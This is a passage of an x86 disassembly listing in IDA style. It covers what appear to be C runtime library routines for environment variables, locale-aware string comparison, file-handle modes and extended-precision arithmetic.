mov esi, dword_46B90C
mov eax, offset dword_46B90C
loc_41FBDD: ; CODE XREF: sub_41FB6B+3Cj
; sub_41FB6B+49j ...
cmp esi, 1
jnz short loc_41FBE9
xor eax, eax
jmp loc_41FC94
; ---------------------------------------------------------------------------
loc_41FBE9: ; CODE XREF: sub_41FB6B+75j
test esi, esi
jnz short loc_41FBF4
push 3
call sub_417858
loc_41FBF4: ; CODE XREF: sub_41FB6B+80j
push ebx
push 8
pop ecx
cmp edi, ecx
jz short loc_41FC06
cmp edi, 0Bh
jz short loc_41FC06
cmp edi, 4
jnz short loc_41FC2C
loc_41FC06: ; CODE XREF: sub_41FB6B+8Fj
; sub_41FB6B+94j
mov ebx, dword_46B6E8
and dword_46B6E8, 0
cmp edi, ecx
jnz short loc_41FC5B
mov edx, dword_43A59C
mov dword_43A59C, 8Ch
mov [ebp+arg_0], edx
jmp short loc_41FC2F
; ---------------------------------------------------------------------------
loc_41FC2C: ; CODE XREF: sub_41FB6B+99j
mov ebx, [ebp+arg_0]
loc_41FC2F: ; CODE XREF: sub_41FB6B+BFj
cmp edi, ecx
jnz short loc_41FC5B
mov eax, dword_43A590
mov ecx, dword_43A594
add ecx, eax
cmp eax, ecx
jge short loc_41FC62
lea edx, [eax+eax*2]
sub ecx, eax
lea edx, ds:43A520h[edx*4]
loc_41FC50: ; CODE XREF: sub_41FB6B+ECj
and dword ptr [edx], 0
add edx, 0Ch
dec ecx
jnz short loc_41FC50
jmp short loc_41FC62
; ---------------------------------------------------------------------------
loc_41FC5B: ; CODE XREF: sub_41FB6B+AAj
; sub_41FB6B+C6j
and dword ptr [eax], 0
cmp edi, ecx
jnz short loc_41FC70
loc_41FC62: ; CODE XREF: sub_41FB6B+D7j
; sub_41FB6B+EEj
push dword_43A59C
push 8
call esi
pop ecx
pop ecx
jmp short loc_41FC7E
; ---------------------------------------------------------------------------
loc_41FC70: ; CODE XREF: sub_41FB6B+F5j
push edi
call esi
cmp edi, 0Bh
pop ecx
jz short loc_41FC7E
cmp edi, 4
jnz short loc_41FC91
loc_41FC7E: ; CODE XREF: sub_41FB6B+103j
; sub_41FB6B+10Cj
cmp edi, 8
mov dword_46B6E8, ebx
jnz short loc_41FC91
mov eax, [ebp+arg_0]
mov dword_43A59C, eax
loc_41FC91: ; CODE XREF: sub_41FB6B+111j
; sub_41FB6B+11Cj
xor eax, eax
pop ebx
loc_41FC94: ; CODE XREF: sub_41FB6B+2Cj
; sub_41FB6B+79j
pop edi
pop esi
pop ebp
retn
sub_41FB6B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41FC98 proc near ; CODE XREF: sub_41FB6B+59p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43A598
cmp dword_43A51C, edx
push esi
mov eax, offset dword_43A518
jz short loc_41FCC6
lea esi, [ecx+ecx*2]
lea esi, ds:43A518h[esi*4]
loc_41FCBA: ; CODE XREF: sub_41FC98+2Cj
add eax, 0Ch
cmp eax, esi
jnb short loc_41FCC6
cmp [eax+4], edx
jnz short loc_41FCBA
loc_41FCC6: ; CODE XREF: sub_41FC98+16j
; sub_41FC98+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43A518h[ecx*4]
cmp eax, ecx
jnb short loc_41FCDA
cmp [eax+4], edx
jz short locret_41FCDC
loc_41FCDA: ; CODE XREF: sub_41FC98+3Bj
xor eax, eax
locret_41FCDC: ; CODE XREF: sub_41FC98+40j
retn
sub_41FC98 endp
; =============== S U B R O U T I N E =======================================
sub_41FCDD proc near ; CODE XREF: sub_41EA02+23p
arg_0 = dword ptr 4
cmp dword_46CCB0, 0
push ebx
push esi
mov esi, dword_46B65C
push edi
jz short loc_41FD54
test esi, esi
jnz short loc_41FD0E
cmp dword_46B664, esi
jz short loc_41FD54
call sub_4200AB
test eax, eax
jnz short loc_41FD54
mov esi, dword_46B65C
test esi, esi
jz short loc_41FD54
loc_41FD0E: ; CODE XREF: sub_41FCDD+14j
mov ebx, [esp+0Ch+arg_0]
test ebx, ebx
jz short loc_41FD54
push ebx
call sub_415B10
pop ecx
mov edi, eax
loc_41FD1F: ; CODE XREF: sub_41FCDD+6Dj
mov eax, [esi]
test eax, eax
jz short loc_41FD54
push eax
call sub_415B10
cmp eax, edi
pop ecx
jbe short loc_41FD47
mov eax, [esi]
cmp byte ptr [eax+edi], 3Dh
jnz short loc_41FD47
push edi
push ebx
push eax
call sub_42006C
add esp, 0Ch
test eax, eax
jz short loc_41FD4C
loc_41FD47: ; CODE XREF: sub_41FCDD+51j
; sub_41FCDD+59j
add esi, 4
jmp short loc_41FD1F
; ---------------------------------------------------------------------------
loc_41FD4C: ; CODE XREF: sub_41FCDD+68j
mov eax, [esi]
lea eax, [eax+edi+1]
jmp short loc_41FD56
; ---------------------------------------------------------------------------
loc_41FD54: ; CODE XREF: sub_41FCDD+10j
; sub_41FCDD+1Cj ...
xor eax, eax
loc_41FD56: ; CODE XREF: sub_41FCDD+75j
pop edi
pop esi
pop ebx
retn
sub_41FCDD endp
; =============== S U B R O U T I N E =======================================
sub_41FD5A proc near ; CODE XREF: sub_41F120+8Bp
; sub_41F120+D9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_46CA60
jnb short loc_41FDC1
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_46C960[ecx*4]
lea edx, [ecx+eax*8+4]
mov cl, [ecx+eax*8+4]
test cl, 1
jz short loc_41FDC1
mov al, cl
mov esi, 8000h
and eax, 80h
cmp [esp+4+arg_4], esi
jnz short loc_41FD9A
and cl, 7Fh
jmp short loc_41FDA7
; ---------------------------------------------------------------------------
loc_41FD9A: ; CODE XREF: sub_41FD5A+39j
cmp [esp+4+arg_4], 4000h
jnz short loc_41FDB5
or cl, 80h
loc_41FDA7: ; CODE XREF: sub_41FD5A+3Ej
neg eax
sbb eax, eax
mov [edx], cl
and ax, 0C000h
add eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41FDB5: ; CODE XREF: sub_41FD5A+48j
mov dword_46B634, 16h
jmp short loc_41FDCB
; ---------------------------------------------------------------------------
loc_41FDC1: ; CODE XREF: sub_41FD5A+Bj
; sub_41FD5A+27j
mov dword_46B634, 9
loc_41FDCB: ; CODE XREF: sub_41FD5A+65j
or eax, 0FFFFFFFFh
pop esi
retn
sub_41FD5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FDD0 proc near ; CODE XREF: sub_41F8D8+165p
; sub_41FFF0+69p
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 24h
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebp+arg_0]
mov cx, [ebx+0Ah]
xor eax, eax
push edi
mov [ebp+var_14], eax
mov [ebp+var_24], eax
mov [ebp+var_20], eax
mov [ebp+var_1C], eax
mov ax, [esi+0Ah]
mov edi, ecx
mov edx, 7FFFh
xor edi, eax
and eax, edx
and ecx, edx
and edi, 8000h
cmp ax, 7FFFh
lea edx, [ecx+eax]
mov [ebp+arg_0], edx
jnb loc_41FFD0
cmp cx, 7FFFh
jnb loc_41FFD0
cmp dx, 0BFFDh
ja loc_41FFD0
cmp dx, 3FBFh
ja short loc_41FE39
xor eax, eax
jmp short loc_41FE73
; ---------------------------------------------------------------------------
loc_41FE39: ; CODE XREF: sub_41FDD0+63j
test ax, ax
mov edx, 7FFFFFFFh
jnz short loc_41FE5B
inc [ebp+arg_0]
test [esi+8], edx
jnz short loc_41FE5B
xor eax, eax
cmp [esi+4], eax
jnz short loc_41FE5D
cmp [esi], eax
jnz short loc_41FE5D
jmp loc_41FFCA
; ---------------------------------------------------------------------------
loc_41FE5B: ; CODE XREF: sub_41FDD0+71j
; sub_41FDD0+79j
xor eax, eax
loc_41FE5D: ; CODE XREF: sub_41FDD0+80j
; sub_41FDD0+84j
cmp cx, ax
jnz short loc_41FE80
inc [ebp+arg_0]
test [ebx+8], edx
jnz short loc_41FE80
cmp [ebx+4], eax
jnz short loc_41FE80
cmp [ebx], eax
jnz short loc_41FE80
loc_41FE73: ; CODE XREF: sub_41FDD0+67j
mov [esi+8], eax
mov [esi+4], eax
mov [esi], eax
jmp loc_41FFEB
; ---------------------------------------------------------------------------
loc_41FE80: ; CODE XREF: sub_41FDD0+90j
; sub_41FDD0+98j ...
mov [ebp+var_10], eax
lea eax, [ebp+var_20]
mov [ebp+var_4], eax
mov [ebp+arg_4], 5
loc_41FE90: ; CODE XREF: sub_41FDD0+122j
mov eax, [ebp+var_10]
add eax, eax
cmp [ebp+arg_4], 0
jle short loc_41FEE4
add eax, esi
lea ecx, [ebx+8]
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_C], ecx
mov [ebp+var_18], eax
loc_41FEAC: ; CODE XREF: sub_41FDD0+112j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
movzx eax, word ptr [eax]
movzx ecx, word ptr [ecx]
imul eax, ecx
mov ecx, [ebp+var_4]
add ecx, 0FFFFFFFCh
push ecx
push eax
push dword ptr [ecx]
call sub_41F266
add esp, 0Ch
test eax, eax
jz short loc_41FED7
mov eax, [ebp+var_4]
inc word ptr [eax]
loc_41FED7: ; CODE XREF: sub_41FDD0+FFj
add [ebp+var_8], 2
sub [ebp+var_C], 2
dec [ebp+var_18]
jnz short loc_41FEAC
loc_41FEE4: ; CODE XREF: sub_41FDD0+C9j
add [ebp+var_4], 2
inc [ebp+var_10]
dec [ebp+arg_4]
cmp [ebp+arg_4], 0
jg short loc_41FE90
add [ebp+arg_0], 0C002h
cmp word ptr [ebp+arg_0], 0
jle short loc_41FF27
loc_41FF02: ; CODE XREF: sub_41FDD0+14Ej
test byte ptr [ebp+var_1C+3], 80h
jnz short loc_41FF20
lea eax, [ebp+var_24]
push eax
call sub_41F2E5
add [ebp+arg_0], 0FFFFh
pop ecx
cmp word ptr [ebp+arg_0], 0
jg short loc_41FF02
loc_41FF20: ; CODE XREF: sub_41FDD0+136j
cmp word ptr [ebp+arg_0], 0
jg short loc_41FF60
loc_41FF27: ; CODE XREF: sub_41FDD0+130j
add [ebp+arg_0], 0FFFFh
cmp word ptr [ebp+arg_0], 0
jge short loc_41FF60
movsx eax, word ptr [ebp+arg_0]
neg eax
add [ebp+arg_0], eax
mov ebx, eax
loc_41FF40: ; CODE XREF: sub_41FDD0+184j
test byte ptr [ebp+var_24], 1
jz short loc_41FF49
inc [ebp+var_14]
loc_41FF49: ; CODE XREF: sub_41FDD0+174j
lea eax, [ebp+var_24]
push eax
call sub_41F313
dec ebx
pop ecx
jnz short loc_41FF40
cmp [ebp+var_14], 0
jz short loc_41FF60
or byte ptr [ebp+var_24], 1
loc_41FF60: ; CODE XREF: sub_41FDD0+155j
; sub_41FDD0+163j ...
cmp word ptr [ebp+var_24], 8000h
ja short loc_41FF77
mov eax, [ebp+var_24]
and eax, 1FFFFh
cmp eax, 18000h
jnz short loc_41FFAC
loc_41FF77: ; CODE XREF: sub_41FDD0+196j
cmp [ebp+var_24+2], 0FFFFFFFFh
jnz short loc_41FFA9
and [ebp+var_24+2], 0
cmp [ebp+var_20+2], 0FFFFFFFFh
jnz short loc_41FFA4
and [ebp+var_20+2], 0
cmp word ptr [ebp+var_1C+2], 0FFFFh
jnz short loc_41FF9E
inc [ebp+arg_0]
mov word ptr [ebp+var_1C+2], 8000h
jmp short loc_41FFAC
; ---------------------------------------------------------------------------
loc_41FF9E: ; CODE XREF: sub_41FDD0+1C1j
inc word ptr [ebp+var_1C+2]
jmp short loc_41FFAC
; ---------------------------------------------------------------------------
loc_41FFA4: ; CODE XREF: sub_41FDD0+1B5j
inc [ebp+var_20+2]
jmp short loc_41FFAC
; ---------------------------------------------------------------------------
loc_41FFA9: ; CODE XREF: sub_41FDD0+1ABj
inc [ebp+var_24+2]
loc_41FFAC: ; CODE XREF: sub_41FDD0+1A5j
; sub_41FDD0+1CCj ...
mov eax, [ebp+arg_0]
cmp ax, 7FFFh
jnb short loc_41FFD0
mov cx, word ptr [ebp+var_24+2]
or eax, edi
mov [esi], cx
mov ecx, [ebp+var_20]
mov [esi+2], ecx
mov ecx, [ebp+var_1C]
mov [esi+6], ecx
loc_41FFCA: ; CODE XREF: sub_41FDD0+86j
mov [esi+0Ah], ax
jmp short loc_41FFEB
; ---------------------------------------------------------------------------
loc_41FFD0: ; CODE XREF: sub_41FDD0+42j
; sub_41FDD0+4Dj ...
neg di
sbb edi, edi
and dword ptr [esi+4], 0
and edi, 80000000h
add edi, 7FFF8000h
and dword ptr [esi], 0
mov [esi+8], edi
loc_41FFEB: ; CODE XREF: sub_41FDD0+ABj
; sub_41FDD0+1FEj
pop edi
pop esi
pop ebx
leave
retn
sub_41FDD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FFF0 proc near ; CODE XREF: sub_41F407+440p
; sub_41F8D8+14Cp
var_C = byte ptr -0Ch
var_A = dword ptr -0Ah
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
mov ebx, offset dword_43AA10
xor ecx, ecx
sub ebx, 60h
cmp [ebp+arg_4], ecx
jz short loc_420069
jge short loc_420018
mov eax, [ebp+arg_4]
mov ebx, offset dword_43AB70
neg eax
mov [ebp+arg_4], eax
sub ebx, 60h
loc_420018: ; CODE XREF: sub_41FFF0+16j
cmp [ebp+arg_8], ecx
jnz short loc_420023
mov eax, [ebp+arg_0]
mov [eax], cx
loc_420023: ; CODE XREF: sub_41FFF0+2Bj
cmp [ebp+arg_4], ecx
jz short loc_420069
push esi
push edi
loc_42002A: ; CODE XREF: sub_41FFF0+75j
mov eax, [ebp+arg_4]
add ebx, 54h
sar [ebp+arg_4], 3
and eax, 7
cmp eax, ecx
jz short loc_420062
lea eax, [eax+eax*2]
cmp word ptr [ebx+eax*4], 8000h
lea esi, [ebx+eax*4]
jb short loc_420055
lea edi, [ebp+var_C]
movsd
movsd
movsd
dec [ebp+var_A]
lea esi, [ebp+var_C]
loc_420055: ; CODE XREF: sub_41FFF0+57j
push esi
push [ebp+arg_0]
call sub_41FDD0
pop ecx
pop ecx
xor ecx, ecx
loc_420062: ; CODE XREF: sub_41FFF0+49j
cmp [ebp+arg_4], ecx
jnz short loc_42002A
pop edi
pop esi
loc_420069: ; CODE XREF: sub_41FFF0+14j
; sub_41FFF0+36j
pop ebx
leave
retn
sub_41FFF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42006C proc near ; CODE XREF: sub_41FCDD+5Ep
; sub_420548+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 0
jnz short loc_420079
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_420079: ; CODE XREF: sub_42006C+7j
push dword_46CA64
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_8]
push [ebp+arg_0]
push 1
push dword_46CC84
call sub_420119
add esp, 1Ch
test eax, eax
jnz short loc_4200A6
mov eax, 7FFFFFFFh
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4200A6: ; CODE XREF: sub_42006C+31j
add eax, 0FFFFFFFEh
pop ebp
retn
sub_42006C endp
; =============== S U B R O U T I N E =======================================
sub_4200AB proc near ; CODE XREF: sub_41FCDD+1Ep
; sub_4203C1+5Bp
var_4 = dword ptr -4
push ecx
push ebx
push ebp
push esi
mov esi, dword_46B664
push edi
xor edi, edi
mov eax, [esi]
cmp eax, edi
jz short loc_42010C
mov ebx, dword_421138
loc_4200C4: ; CODE XREF: sub_4200AB+5Fj
push edi
push edi
push edi
push edi
push 0FFFFFFFFh
push eax
push edi
push 1
call ebx ; WideCharToMultiByte
mov ebp, eax
cmp ebp, edi
jz short loc_420114
push ebp
call sub_415BE9
cmp eax, edi
pop ecx
mov [esp+14h+var_4], eax
jz short loc_420114
push edi
push edi
push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_420114
push edi
push [esp+18h+var_4]
call sub_4203C1
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_4200C4
loc_42010C: ; CODE XREF: sub_4200AB+11j
xor eax, eax
loc_42010E: ; CODE XREF: sub_4200AB+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_420114: ; CODE XREF: sub_4200AB+29j
; sub_4200AB+38j ...
or eax, 0FFFFFFFFh
jmp short loc_42010E
sub_4200AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420119 proc near ; CODE XREF: sub_42006C+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_421C50
push offset sub_41D6A4
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp dword_46B920, ebx
push 1
pop edi
jnz short loc_42018C
push edi
mov eax, offset dword_4218A0
push eax
push edi
push eax
push ebx
push ebx
call dword_421008 ; CompareStringW
test eax, eax
jz short loc_420169
mov dword_46B920, edi
jmp short loc_42018C
; ---------------------------------------------------------------------------
loc_420169: ; CODE XREF: sub_420119+46j
push edi
mov eax, offset dword_43B198
push eax
push edi
push eax
push ebx
push ebx
call dword_42100C ; CompareStringA
test eax, eax
jz loc_420382
mov dword_46B920, 2
loc_42018C: ; CODE XREF: sub_420119+31j
; sub_420119+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_4201A3
push esi
push [ebp+arg_8]
call sub_420396
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_4201A3: ; CODE XREF: sub_420119+78j
cmp [ebp+arg_14], ebx
jle short loc_4201B8
push [ebp+arg_14]
push [ebp+arg_10]
call sub_420396
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_4201B8: ; CODE XREF: sub_420119+8Dj
mov eax, dword_46B920
cmp eax, 2
jnz short loc_4201DD
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_42100C ; CompareStringA
jmp loc_420384
; ---------------------------------------------------------------------------
loc_4201DD: ; CODE XREF: sub_420119+A7j
cmp eax, edi
jnz loc_420382
cmp [ebp+arg_18], ebx
jnz short loc_4201F2
mov eax, dword_46B6DC
mov [ebp+arg_18], eax
loc_4201F2: ; CODE XREF: sub_420119+CFj
cmp esi, ebx
jz short loc_4201FF
cmp [ebp+arg_14], ebx
jnz loc_420297
loc_4201FF: ; CODE XREF: sub_420119+DBj
cmp esi, [ebp+arg_14]
jnz short loc_42020C
loc_420204: ; CODE XREF: sub_420119+13Cj
; sub_420119+16Dj
push 2
loc_420206: ; CODE XREF: sub_420119+146j
pop eax
jmp loc_420384
; ---------------------------------------------------------------------------
loc_42020C: ; CODE XREF: sub_420119+E9j
cmp [ebp+arg_14], edi
jle short loc_420218
loc_420211: ; CODE XREF: sub_420119+151j
; sub_420119+159j ...
mov eax, edi
jmp loc_420384
; ---------------------------------------------------------------------------
loc_420218: ; CODE XREF: sub_420119+F6j
cmp esi, edi
jg short loc_42025D
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call dword_421198 ; GetCPInfo
test eax, eax
jz loc_420382
cmp esi, ebx
jle short loc_420261
cmp [ebp+var_3C], 2
jb short loc_42025D
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42025D
loc_420243: ; CODE XREF: sub_420119+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42025D
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_420257
cmp cl, dl
jbe short loc_420204
loc_420257: ; CODE XREF: sub_420119+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_420243
loc_42025D: ; CODE XREF: sub_420119+101j
; sub_420119+120j ...
push 3
jmp short loc_420206
; ---------------------------------------------------------------------------
loc_420261: ; CODE XREF: sub_420119+11Aj
cmp [ebp+arg_14], ebx
jle short loc_420297
cmp [ebp+var_3C], 2
jb short loc_420211
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_420211
loc_420274: ; CODE XREF: sub_420119+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_420211
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_42028C
cmp cl, dl
jbe loc_420204
loc_42028C: ; CODE XREF: sub_420119+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_420274
jmp loc_420211
; ---------------------------------------------------------------------------
loc_420297: ; CODE XREF: sub_420119+E0j
; sub_420119+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_420382
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4202E6
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_4202E6: ; CODE XREF: sub_420119+1B5j
cmp [ebp+var_24], ebx
jz loc_420382
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, dword_421064
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_420382
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_420382
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_415B90
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_420351
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_420351: ; CODE XREF: sub_420119+224j
cmp edi, ebx
jz short loc_420382
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call dword_421064 ; MultiByteToWideChar
test eax, eax
jz short loc_420382
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_421008 ; CompareStringW
jmp short loc_420384
; ---------------------------------------------------------------------------
loc_420382: ; CODE XREF: sub_420119+63j
; sub_420119+C6j ...
xor eax, eax
loc_420384: ; CODE XREF: sub_420119+BFj
; sub_420119+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_420119 endp
; =============== S U B R O U T I N E =======================================
sub_420396 proc near ; CODE XREF: sub_41C639+81p
; sub_420119+7Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_4203B3
loc_4203A6: ; CODE XREF: sub_420396+1Bj
cmp byte ptr [eax], 0
jz short loc_4203B3
inc eax
mov esi, ecx
dec ecx
test esi, esi
jnz short loc_4203A6
loc_4203B3: ; CODE XREF: sub_420396+Ej
; sub_420396+13j
cmp byte ptr [eax], 0
pop esi
jnz short loc_4203BE
sub eax, [esp+arg_0]
retn
; ---------------------------------------------------------------------------
loc_4203BE: ; CODE XREF: sub_420396+21j
mov eax, edx
retn
sub_420396 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4203C1 proc near ; CODE XREF: sub_4200AB+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_420425
push 3Dh
push [ebp+arg_0]
call sub_420607
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_420425
cmp [ebp+arg_0], esi
jz short loc_420425
mov eax, dword_46B65C
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, dword_46B660
jnz short loc_42040B
push eax
call sub_4205A0
pop ecx
mov dword_46B65C, eax
loc_42040B: ; CODE XREF: sub_4203C1+3Cj
cmp eax, edi
jnz short loc_420463
cmp [ebp+arg_4], edi
jz short loc_42042D
cmp dword_46B664, edi
jz short loc_42042D
call sub_4200AB
test eax, eax
jz short loc_420463
loc_420425: ; CODE XREF: sub_4203C1+Dj
; sub_4203C1+22j ...
or eax, 0FFFFFFFFh
loc_420428: ; CODE XREF: sub_4203C1+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42042D: ; CODE XREF: sub_4203C1+51j
; sub_4203C1+59j
cmp ebx, edi
jnz loc_420541
push 4
call sub_415BE9
cmp eax, edi
pop ecx
mov dword_46B65C, eax
jz short loc_420425
mov [eax], edi
cmp dword_46B664, edi
jnz short loc_420463
push 4
call sub_415BE9
cmp eax, edi
pop ecx
mov dword_46B664, eax
jz short loc_420425
mov [eax], edi
loc_420463: ; CODE XREF: sub_4203C1+4Cj
; sub_4203C1+62j ...
sub esi, [ebp+arg_0]
mov edi, dword_46B65C
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_420548
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4204C3
cmp dword ptr [edi], 0
jz short loc_4204C3
test ebx, ebx
jz short loc_4204BB
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_415C9B
pop ecx
loc_420495: ; CODE XREF: sub_4203C1+E2j
cmp dword ptr [edi], 0
jz short loc_4204A5
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_420495
; ---------------------------------------------------------------------------
loc_4204A5: ; CODE XREF: sub_4203C1+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41737F
pop ecx
test eax, eax
pop ecx
jz short loc_4204F5
jmp short loc_4204F0
; ---------------------------------------------------------------------------
loc_4204BB: ; CODE XREF: sub_4203C1+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_4204F5
; ---------------------------------------------------------------------------
loc_4204C3: ; CODE XREF: sub_4203C1+BDj
; sub_4203C1+C2j
test ebx, ebx
jnz short loc_420541
test esi, esi
jge short loc_4204CD
neg esi
loc_4204CD: ; CODE XREF: sub_4203C1+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41737F
pop ecx
test eax, eax
pop ecx
jz loc_420425
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4204F0: ; CODE XREF: sub_4203C1+F8j
mov dword_46B65C, eax
loc_4204F5: ; CODE XREF: sub_4203C1+F6j
; sub_4203C1+100j
cmp [ebp+arg_4], 0
jz short loc_420541
push [ebp+arg_0]
call sub_415B10
inc eax
inc eax
push eax
call sub_415BE9
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_420541
push [ebp+arg_0]
push esi
call sub_415A20
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call dword_421004 ; SetEnvironmentVariableA
push esi
call sub_415C9B
pop ecx
loc_420541: ; CODE XREF: sub_4203C1+6Ej
; sub_4203C1+104j ...
xor eax, eax
jmp loc_420428
sub_4203C1 endp
; =============== S U B R O U T I N E =======================================
sub_420548 proc near ; CODE XREF: sub_4203C1+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, dword_46B65C
push edi
mov eax, [esi]
test eax, eax
jz short loc_420583
mov edi, [esp+8+arg_4]
loc_42055A: ; CODE XREF: sub_420548+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_42006C
add esp, 0Ch
test eax, eax
jnz short loc_420579
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_420593
test al, al
jz short loc_420593
loc_420579: ; CODE XREF: sub_420548+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_42055A
loc_420583: ; CODE XREF: sub_420548+Cj
mov eax, esi
sub eax, dword_46B65C
sar eax, 2
neg eax
loc_420590: ; CODE XREF: sub_420548+56j
pop edi
pop esi
retn
